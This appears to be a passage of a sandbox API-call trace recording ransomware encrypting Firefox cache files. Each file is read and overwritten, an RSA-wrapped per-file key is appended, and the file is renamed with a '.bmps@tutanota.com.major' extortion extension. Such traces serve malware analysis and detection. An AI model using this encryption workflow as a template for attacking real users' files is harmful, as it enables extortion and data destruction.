CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.265] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.265] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.265] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YYZHol77/1cz+Mgep0xzk9eY4cqt4+UahvNYFtDc7JblAImTjv4GmevkRdmuWsoY\nl/XhXsnjG3YhNLjT0csqax1hmZ8mXa2dzEBmfb/y63gASVnjRx/NGboMMdmVTxnh\ntNfwkKE4rqjPxA/3ob6A5D8UeABUihBidpuMkvJB2BT66of1IiByvonFrJIC7wJE\nLuxV2oxbuGrnBNtNa6wjqladHdHT2dpXv7COWy+xhw9kajyu6N6272FkSvrC1HJy\nvz7I6tcIqMGxpp673lPT3KRBGsWJnCzClKnytJFr6Jj1G+w41HKdC1eaUIrbnxpR\nBz/Qq7F5BmqD3iv0VAPLnw==\n", pcchString=0x2e3f9a8) returned 1 [0284.265] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.265] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.265] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.265] CloseHandle (hObject=0x1b84) returned 1 [0284.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.266] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C416B78A7C89B5CDB81D93B1A303A39C7E34723" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c416b78a7c89b5cdb81d93b1a303a39c7e34723"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C416B78A7C89B5CDB81D93B1A303A39C7E34723.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c416b78a7c89b5cdb81d93b1a303a39c7e34723.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0284.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438d10 | out: hHeap=0x570000) returned 1 [0284.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437768 | out: hHeap=0x570000) returned 1 [0284.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34386e0 [0284.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0284.268] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.268] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C1C3006E308780316B46ECD995A5336C781BEE6", dwFileAttributes=0x80) returned 1 [0284.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34382c0 [0284.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34382c0 | out: hHeap=0x570000) returned 1 [0284.269] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C1C3006E308780316B46ECD995A5336C781BEE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c1c3006e308780316b46ecd995a5336c781bee6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.269] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=9570) returned 1 [0284.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2562) returned 0x2f39028 [0284.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2562) returned 0x343b820 [0284.269] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x2562, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x2562, lpOverlapped=0x0) returned 1 [0284.294] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-9570, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.294] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0x2562, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2562, lpOverlapped=0x0) returned 1 [0284.294] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0284.294] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x343b820 | out: hHeap=0x570000) returned 1 [0284.294] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2562 [0284.294] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.294] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.294] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.295] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.295] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.295] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.295] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="yuMHG/CnuA00EBPEqbvsKXXsS3UUTMHhIGuJuHMk1DUq9OecMWEeQlL0iCRro4n4\nQJ+AtX78XtJpx2j+i4+wLLoHQe1fvYEQpl0qGVqbgG1p7N9sa82lNg4QIeZwaML4\ne5R2aa+f8KTR4xspP0fa9f29B2emnchaBNBjlMNNpV9FF0DOKG7gfv7GZ4/RZi/O\nL0uLoyeJJ5az43Al9ga2nhkHr9pX68sbEJPg8vpJTyT9wFV1ehydNb5HnssQfRhT\nKksMulS9WRANNpymWdfbebEasCLVCaN4KnlGGiWy03iOzzSJkHe8j9nW78xE+IdR\nCLIHDLApaZDwEQjxmJwXjw==\n", pcchString=0x2e3f9a8) returned 1 [0284.295] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.295] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.295] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.295] CloseHandle (hObject=0x1b84) returned 1 [0284.295] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.295] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C1C3006E308780316B46ECD995A5336C781BEE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c1c3006e308780316b46ecd995a5336c781bee6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C1C3006E308780316B46ECD995A5336C781BEE6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c1c3006e308780316b46ecd995a5336c781bee6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0284.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34386e0 | out: hHeap=0x570000) returned 1 [0284.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34389f8 | out: hHeap=0x570000) returned 1 [0284.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34380b0 [0284.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0284.298] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.298] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B784C0CEB48628D9FC88BC8A0D31E38CFC370A2", dwFileAttributes=0x80) returned 1 [0284.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438c08 [0284.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438c08 | out: hHeap=0x570000) returned 1 [0284.298] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B784C0CEB48628D9FC88BC8A0D31E38CFC370A2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b784c0ceb48628d9fc88bc8a0d31e38cfc370a2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.299] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=81) returned 1 [0284.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x51) returned 0x5c93f8 [0284.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x51) returned 0x5c9398 [0284.299] ReadFile (in: hFile=0x1b84, lpBuffer=0x5c93f8, nNumberOfBytesToRead=0x51, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c93f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x51, lpOverlapped=0x0) returned 1 [0284.299] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.300] WriteFile (in: hFile=0x1b84, lpBuffer=0x5c9398*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c9398*, lpNumberOfBytesWritten=0x2e3f9b4*=0x51, lpOverlapped=0x0) returned 1 [0284.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c93f8 | out: hHeap=0x570000) returned 1 [0284.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c9398 | out: hHeap=0x570000) returned 1 [0284.300] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x51 [0284.300] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.300] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.300] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.300] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.300] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.300] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="H/VwQYykJ02ZZ3QYmxE7W8RfSrZk/VsELN6ikgWcNcU7mhl9/LJbG7LdsTRhChDQ\neLODglPUuV+Um3y3IKpAfZrraU+HSZ9bs4Ya8QrO5Ws7bpmR3IJmVa4molZcxnti\n8Qsw0tVphlPAK2yvuo/1JGc246ff4xDR8PzxpHmhMwAE7HUsIhHABJumIjsmf4Ti\nbREYE9xhmHYWqhB9AaxQ2eLJQJDamGgUfTQ2/1/jSH4qO7w4DDCQPyku8DIqxPAL\nEXWqgh0vBitN4oVv52tGtM8s9OhGpZPIUAw/pwOotohVhVEoamwKitsox555MuVL\nIsnf2tNdUZvPph3JWdBdpg==\n", pcchString=0x2e3f9a8) returned 1 [0284.300] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.300] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.300] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.301] CloseHandle (hObject=0x1b84) returned 1 [0284.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.301] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B784C0CEB48628D9FC88BC8A0D31E38CFC370A2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b784c0ceb48628d9fc88bc8a0d31e38cfc370a2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B784C0CEB48628D9FC88BC8A0D31E38CFC370A2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b784c0ceb48628d9fc88bc8a0d31e38cfc370a2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0284.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34380b0 | out: hHeap=0x570000) returned 1 [0284.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437a80 | out: hHeap=0x570000) returned 1 [0284.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437b88 [0284.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0284.303] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.303] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B24068915A6A6D77F01D72F7883D0A5FF0907B6", dwFileAttributes=0x80) returned 1 [0284.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34384d0 [0284.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34384d0 | out: hHeap=0x570000) returned 1 [0284.304] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B24068915A6A6D77F01D72F7883D0A5FF0907B6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b24068915a6a6d77f01d72f7883d0a5ff0907b6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.304] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4803) returned 1 [0284.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12c3) returned 0x3439010 [0284.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12c3) returned 0x2f39028 [0284.304] ReadFile (in: hFile=0x1b84, lpBuffer=0x3439010, nNumberOfBytesToRead=0x12c3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesRead=0x2e3f9b4*=0x12c3, lpOverlapped=0x0) returned 1 [0284.392] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.392] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x12c3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12c3, lpOverlapped=0x0) returned 1 [0284.392] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0284.392] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0284.392] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12c3 [0284.392] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.392] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.392] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.392] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.393] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.393] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.393] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="spi48uWBFDI3wgtGj4ayzL9pnAqcP9FF3P868fm6egGKBeainbuTiV9/s/cQgnoc\nqyaF3JA/hS3zWXLZlxg0jf8HiIURh7gbnONgGJyfGqm2OLXSp4be4/0e0Zl2XDzx\nf0ls/FwAchGRUNl0eMxkh8iC6Mp0PArp81jnEL9sx5nTRYfzXpvBsOWbde4ltANt\nqJ87GB98JVt0KQ9wWpQnclssQmej+lsh7T8Eu/h2Eub9sLvW3FRm5WL/ohHFfLz1\ndmbuUHatKNdlREdFA8dQvF7K+IILO5Gm16PL9ZRESxDv2R5uit/dkUZwSZDMXYwY\nN9zI4w8FjqH0pJuVeS5IKQ==\n", pcchString=0x2e3f9a8) returned 1 [0284.393] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.393] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.393] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.393] CloseHandle (hObject=0x1b84) returned 1 [0284.393] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.393] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B24068915A6A6D77F01D72F7883D0A5FF0907B6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b24068915a6a6d77f01d72f7883d0a5ff0907b6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B24068915A6A6D77F01D72F7883D0A5FF0907B6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b24068915a6a6d77f01d72f7883d0a5ff0907b6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.536] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.536] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0284.536] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437b88 | out: hHeap=0x570000) returned 1 [0284.536] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34381b8 | out: hHeap=0x570000) returned 1 [0284.536] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437fa8 [0284.536] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0284.536] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.536] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2AEEA30E1ABF20CE6EDCD6534789A8A96595E87A", dwFileAttributes=0x80) returned 1 [0284.536] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438b00 [0284.536] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.536] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438b00 | out: hHeap=0x570000) returned 1 [0284.536] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2AEEA30E1ABF20CE6EDCD6534789A8A96595E87A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2aeea30e1abf20ce6edcd6534789a8a96595e87a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.537] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=706) returned 1 [0284.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2c2) returned 0x5a8108 [0284.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2c2) returned 0x66e948 [0284.537] ReadFile (in: hFile=0x1b84, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x2c2, lpOverlapped=0x0) returned 1 [0284.538] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-706, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.538] WriteFile (in: hFile=0x1b84, lpBuffer=0x66e948*, nNumberOfBytesToWrite=0x2c2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2c2, 